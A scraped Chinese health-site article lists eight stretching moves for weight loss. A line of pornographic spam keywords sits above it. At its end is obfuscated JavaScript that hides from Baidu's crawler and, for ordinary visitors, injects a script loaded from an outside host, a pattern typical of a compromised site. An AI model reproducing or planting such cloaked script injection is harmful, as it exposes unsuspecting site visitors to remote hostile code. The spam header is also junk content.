亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 減肥 > 運動減肥 > 正文

拉伸減肥運動方法

2017-04-22 00:48:01  來源:360常識網(wǎng)   熱度:
導語:肥胖會直接影響我們的身材,而且很容易對抗疾病,所以確實是肥胖的人群,減肥工作很重要,但是我們都知道減肥也不可盲目,因為很多時候方法

肥胖會直接影響我們的身材,而且很容易對抗疾病,所以確實是肥胖的人群,減肥工作很重要,但是我們都知道減肥也不可盲目,因為很多時候方法不正確,還可能會造成其他不利的影響,而最健康的方法就是運動,下面為大家來推薦比較簡單的拉伸減肥運動,可以幫助你輕松達到減肥的效果。

1.頭頸:右手舉過頭頂,將頭部向右側拉動,復位,反復幾次,換左手重復動作。

2.肩部:左手將伸直的右手托起平舉,向左拉伸,換手重復動作。

3.胸部:雙手平舉,做擴胸運動。

4.二頭肌:側平舉,手抓住墻角或者任何夠高的支撐物,轉動上身,堅持10-15秒。

5.三頭?。河靡恢皇肿プ×硗庖恢怅P節(jié),輕推且越過身體,直到手觸摸到后背。

6.臀?。鹤笸确旁谟彝壬?,保持彎曲。使左腿觸碰胸腔,向左扭轉身體看左肩。

7.大腿外側:被拉伸側大腿向斜后方伸出,小腿與足外側面著地,另一側大腿前弓步膝關節(jié)屈曲,雙手扶地支撐,拉伸時身體重心移向被伸拉一側。

8.腿筋:平躺,單腿向上蹬,另一條腿彎曲并保持腳掌著地。用一條毛巾套著挺直的腳,向下輕拉毛巾,同時腳掌上推毛巾。

這些拉伸減肥運動你都學會了嗎?其實通過這些動作分析介紹我們會發(fā)現(xiàn),它實施起來也是比較輕松簡單的, 而且不需要每次都去健身房,或者請專業(yè)的健身老師, 因為即便是在家里面,這些拉伸運動你也可以自己完成,輕松地看到健身減肥的效果。

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}